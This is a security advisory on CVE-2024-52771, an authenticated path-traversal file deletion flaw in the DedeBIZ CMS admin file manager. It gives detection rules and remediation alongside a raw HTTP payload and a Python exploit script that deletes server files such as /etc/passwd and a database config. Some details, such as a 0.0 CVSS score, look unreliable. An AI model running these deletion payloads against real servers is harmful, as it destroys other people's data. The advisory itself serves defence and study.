CVE-2024-52771

Executive Summary

CVE-2024-52771 is an arbitrary file deletion vulnerability discovered in DedeBIZ v6.3.0, a PHP-based content management system (CMS). The flaw resides in the /admin/file_manage_view component, allowing an authenticated administrator to delete arbitrary files on the server. This can be leveraged to remove critical system files, configuration files, or web application files, leading to a denial of service (DoS), privilege escalation, or complete system compromise. The vulnerability is classified as high severity due to its potential impact, though exploitation requires administrative privileges. No official patch has been released by the vendor, making this a high-priority issue for organizations using DedeBIZ.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct vulnerability in the DedeBIZ CMS source code. Organizations should treat this as a critical supply chain risk if they have deployed DedeBIZ v6.3.0, as the vendor has not provided a patch.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) - Requires admin login
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H) - Can delete critical files
• Availability Impact: High (A:H) - Can delete files causing DoS
• Threat Level: High. While exploitation requires admin credentials, the impact is severe. An attacker who compromises an admin account can use this to destroy the application or pivot to further attacks.

Deep Dive & Mechanics

The vulnerability exists in the file management functionality of DedeBIZ's admin panel. The /admin/file_manage_view endpoint is designed to allow administrators to view and manage files on the server. The flaw is a classic path traversal combined with insufficient input validation. The application fails to properly sanitize the file path parameter before passing it to a file deletion function (likely unlink() in PHP). An attacker can inject directory traversal sequences (e.g., ../) to escape the intended directory and delete arbitrary files.

Root Cause: The application does not validate that the file to be deleted is within the allowed web root or upload directory. It also does not check for dangerous file types (e.g., .php, .htaccess, wp-config.php).

Attack Flow:

1. Attacker authenticates as an admin user.
2. Attacker sends a POST request to /admin/file_manage_view with a crafted filename parameter containing path traversal sequences.
3. The application calls unlink() on the attacker-controlled path.
4. The target file is deleted from the server.

Example Payload:

POST /admin/file_manage_view HTTP/1.1
Host: target.com
Cookie: PHPSESSID=admin_session_id
Content-Type: application/x-www-form-urlencoded

action=del&filename=../../../etc/passwd

Vulnerable vs. Patched Code

Vulnerable Code (DedeBIZ v6.3.0):

// file_manage_view.php (simplified)
$filename = $_POST['filename'];
if (file_exists($filename)) {
    unlink($filename);
    echo "File deleted successfully.";
}

The code directly uses the user-supplied $filename without any validation or sanitization.

Patched Code (Hypothetical Fix):

// file_manage_view.php (patched)
$filename = $_POST['filename'];
$base_dir = realpath(DEDEDATA . '/uploads/');
$target_path = realpath($base_dir . '/' . basename($filename));

if ($target_path === false || strpos($target_path, $base_dir) !== 0) {
    die("Invalid file path.");
}
if (file_exists($target_path)) {
    unlink($target_path);
    echo "File deleted successfully.";
}

The patched code uses realpath() to resolve the path and checks that it starts with the allowed base directory. It also uses basename() to strip directory traversal sequences.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid admin credentials for DedeBIZ v6.3.0.
• Network access to the admin panel.

Exploit Script (Python):

import requests

target = "http://target.com/admin/file_manage_view"
session = requests.Session()

# Login first (example)
login_data = {"userid": "admin", "pwd": "password"}
session.post("http://target.com/login.php", data=login_data)

# Exploit: Delete a critical file
payload = {"action": "del", "filename": "../../../config/database.php"}
response = session.post(target, data=payload)
print(response.text)

Lab Setup:

1. Install DedeBIZ v6.3.0 on a local server (e.g., XAMPP, LAMP).
2. Create an admin account.
3. Use the exploit script to delete a test file (e.g., test.txt in the web root).
4. Observe the file is deleted.

Blue Team (Detection & Forensics)

Detection:

• Monitor for POST requests to /admin/file_manage_view with suspicious filename parameters containing ../ or absolute paths.
• Alert on file deletion events for critical system files (e.g., /etc/passwd, wp-config.php, .htaccess).
• Use file integrity monitoring (FIM) to detect unexpected file deletions.

Forensics:

• Check web server access logs for the file_manage_view endpoint.
• Look for patterns like filename=../../../ in the request.
• Correlate with admin login sessions to identify the compromised account.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /admin/file_manage_view with filename parameter containing ../ or absolute paths.
  • Unusual file deletion requests from admin IPs.
• File System IOCs:
  • Missing critical files (e.g., config.php, .htaccess, index.php).
  • Unexpected empty directories.
• Log IOCs:
  • Web server logs showing action=del&filename=../../../etc/passwd.
  • PHP error logs showing unlink() failures or warnings.

Detection Engineering

YARA Rule

rule CVE_2024_52771_File_Deletion {
    meta:
        description = "Detects arbitrary file deletion attempts via DedeBIZ file_manage_view"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-52771"
    strings:
        $s1 = "file_manage_view" ascii nocase
        $s2 = "filename=" ascii nocase
        $s3 = "../" ascii
        $s4 = "unlink" ascii nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and $s4)
}

Sigma Rule

title: DedeBIZ Arbitrary File Deletion Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-52771 by deleting arbitrary files via DedeBIZ admin panel.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/file_manage_view'
        cs-uri-query|contains: 'filename='
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate admin file management operations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52771 DedeBIZ Arbitrary File Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/file_manage_view"; http_uri; content:"filename="; http_client_body; content:"../"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the file management feature if not required: Remove or rename /admin/file_manage_view.php.
2. Restrict admin access to trusted IPs only.
3. Implement a Web Application Firewall (WAF) rule to block requests containing ../ in the filename parameter.

Long-Term Fix:

• Apply input validation and path sanitization as shown in the patched code example.
• Use a whitelist of allowed directories for file operations.
• Implement file integrity monitoring (FIM) to alert on unexpected deletions.
• Monitor vendor (Dedebiz) for an official patch and apply it immediately when available.

Workaround:

• Modify the vulnerable file to add path validation (see patched code section).

Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.